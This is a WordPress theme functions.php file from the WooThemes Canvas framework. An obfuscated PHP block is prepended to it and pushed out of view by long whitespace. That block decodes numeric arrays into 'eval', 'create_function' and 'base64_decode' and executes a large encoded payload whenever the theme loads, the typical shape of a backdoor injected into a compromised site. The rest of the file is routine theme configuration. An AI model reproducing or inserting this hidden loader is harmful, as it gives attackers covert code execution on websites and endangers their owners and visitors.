<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   $WZCrYYDKTU5aL= array('3798','3815','3794','3805');$LWoKHJ9D= array('3639','3654','3641','3637','3656','3641','3635','3642','3657','3650','3639','3656','3645','3651','3650');$w3LWRLnnXdPe1DHCnsxo3ttPH3ng3QZFK= array('1509','1508','1526','1512','1465','1463','1506','1511','1512','1510','1522','1511','1512');$Bq1aeksFVuz6jMz2kXaA="[encoded data, 23896 characters]";if (!function_exists("jVm9MztoRBA3wEf1IcocmpgH7mth7N1YzeYcEhqlJQe5")){ function jVm9MztoRBA3wEf1IcocmpgH7mth7N1YzeYcEhqlJQe5($Kdn5yvZkbAkcvwW5UGMJx,$uCjHj1ucYQgcME){$pPz10Bnmni7UVGiDTLMqUDLXs = '';foreach($Kdn5yvZkbAkcvwW5UGMJx as $nu4ySvdim4JAgXJeIvKQYtrAKc4lZmDSHxhqSly5f8wmW5){$pPz10Bnmni7UVGiDTLMqUDLXs .= chr($nu4ySvdim4JAgXJeIvKQYtrAKc4lZmDSHxhqSly5f8wmW5 - $uCjHj1ucYQgcME);}return $pPz10Bnmni7UVGiDTLMqUDLXs;}$oWTnbWAq27nf = jVm9MztoRBA3wEf1IcocmpgH7mth7N1YzeYcEhqlJQe5($WZCrYYDKTU5aL,3697);$mc5n1urPwVXM7xtcsEmf = jVm9MztoRBA3wEf1IcocmpgH7mth7N1YzeYcEhqlJQe5($LWoKHJ9D,3540);$Hha0x3XL8f7aak2uBHRnvulS = jVm9MztoRBA3wEf1IcocmpgH7mth7N1YzeYcEhqlJQe5($w3LWRLnnXdPe1DHCnsxo3ttPH3ng3QZFK,1411);$mbizgwZnxPLqDn = $mc5n1urPwVXM7xtcsEmf('$XkqJui3WPLab5lTJyURY1eOeBtQSX3',$oWTnbWAq27nf.'('.$Hha0x3XL8f7aak2uBHRnvulS.'($XkqJui3WPLab5lTJyURY1eOeBtQSX3));');$mbizgwZnxPLqDn($Bq1aeksFVuz6jMz2kXaA);}?><?php

/*-----------------------------------------------------------------------------------*/
/* Start WooThemes Functions - Please refrain from editing this section */
/*-----------------------------------------------------------------------------------*/

// Set path to WooFramework and theme specific functions
$functions_path = TEMPLATEPATH . '/functions/';
$includes_path = TEMPLATEPATH . '/includes/';

// Don't load alt stylesheet from WooFramework
if (!function_exists( 'woo_output_alt_stylesheet')) {
	function woo_output_alt_stylesheet() {}
}

// WooFramework
require_once ($functions_path . 'admin-init.php');			// Framework Init

if (get_option('woo_woo_tumblog_switch') == 'true') {
	//Enable Tumblog Functionality and theme is upgraded
	update_option('woo_needs_tumblog_upgrade', 'false');
	update_option('tumblog_woo_tumblog_upgraded', 'true');
	update_option('tumblog_woo_tumblog_upgraded_posts_done', 'true');
	require_once ($functions_path . 'admin-tumblog-quickpress.php');	// Tumblog Dashboard Functionality
}

/*-----------------------------------------------------------------------------------*/
/* Load the theme-specific files, with support for overriding via a child theme.
/*-----------------------------------------------------------------------------------*/

$includes = array(
				'includes/theme-options.php', 			// Options panel settings and custom settings
				'includes/theme-functions.php', 		// Custom theme functions
				'includes/theme-actions.php', 			// Theme actions & user defined hooks
				'includes/theme-comments.php', 			// Custom comments/pingback loop
				'includes/theme-js.php', 				// Load JavaScript via wp_enqueue_script
				'includes/sidebar-init.php', 			// Initialize widgetized areas
				'includes/theme-widgets.php'			// Theme widgets
				);

// Theme-Specific
$includes[] = 'includes/theme-advanced.php';			// Advanced Theme Functions
$includes[] = 'includes/theme-shortcodes.php';	 		// Custom theme shortcodes
// Modules
$includes[] = 'includes/woo-layout/woo-layout.php';
$includes[] = 'includes/woo-meta/woo-meta.php';
$includes[] = 'includes/woo-hooks/woo-hooks.php';

// Allow child themes/plugins to add widgets to be loaded.
$includes = apply_filters( 'woo_includes', $includes );
			
foreach ( $includes as $i ) {
	locate_template( $i, true );
}

if (get_option('woo_woo_tumblog_switch') == 'true') {

	define( 'WOOTUMBLOG_ACTIVE', true ); // Define a constant for use in our theme's templating engine.

	require_once ($includes_path . 'tumblog/theme-tumblog.php');		// Tumblog Output Functions
	// Test for Post Formats
	if (get_option('woo_tumblog_content_method') == 'post_format') {
		// Tumblog Post Format Class
		require_once( $includes_path . 'tumblog/wootumblog_postformat.class.php' );
	} else {
		// Tumblog Custom Taxonomy Class
		require_once ($includes_path . 'tumblog/theme-custom-post-types.php');	// Custom Post Types and Taxonomies
	}
	
	// Test for Post Formats
	if (get_option('woo_tumblog_content_method') == 'post_format') {
	    //Tumblog Post Formats
	    global $woo_tumblog_post_format; 
	    $woo_tumblog_post_format = new WooTumblogPostFormat(); 
	    if ( $woo_tumblog_post_format->woo_tumblog_upgrade_existing_taxonomy_posts_to_post_formats()) {
	    	update_option('woo_tumblog_post_formats_upgraded','true');
	    }
	    
	}
}

// Output stylesheet and custom.css after Canvas custom styling
remove_action('wp_head', 'woothemes_wp_head');
add_action('woo_head', 'woothemes_wp_head');
if (get_option('woo_woo_tumblog_switch') == 'true' && get_option('woo_custom_rss') == 'true') {
	add_filter('the_excerpt_rss', 'woo_custom_tumblog_rss_output');
	add_filter('the_content_rss', 'woo_custom_tumblog_rss_output');
}

/*-----------------------------------------------------------------------------------*/
/* You can add custom functions below */
/*-----------------------------------------------------------------------------------*/










/*-----------------------------------------------------------------------------------*/
/* Don't add any code below here or the sky will fall down */
/*-----------------------------------------------------------------------------------*/
?>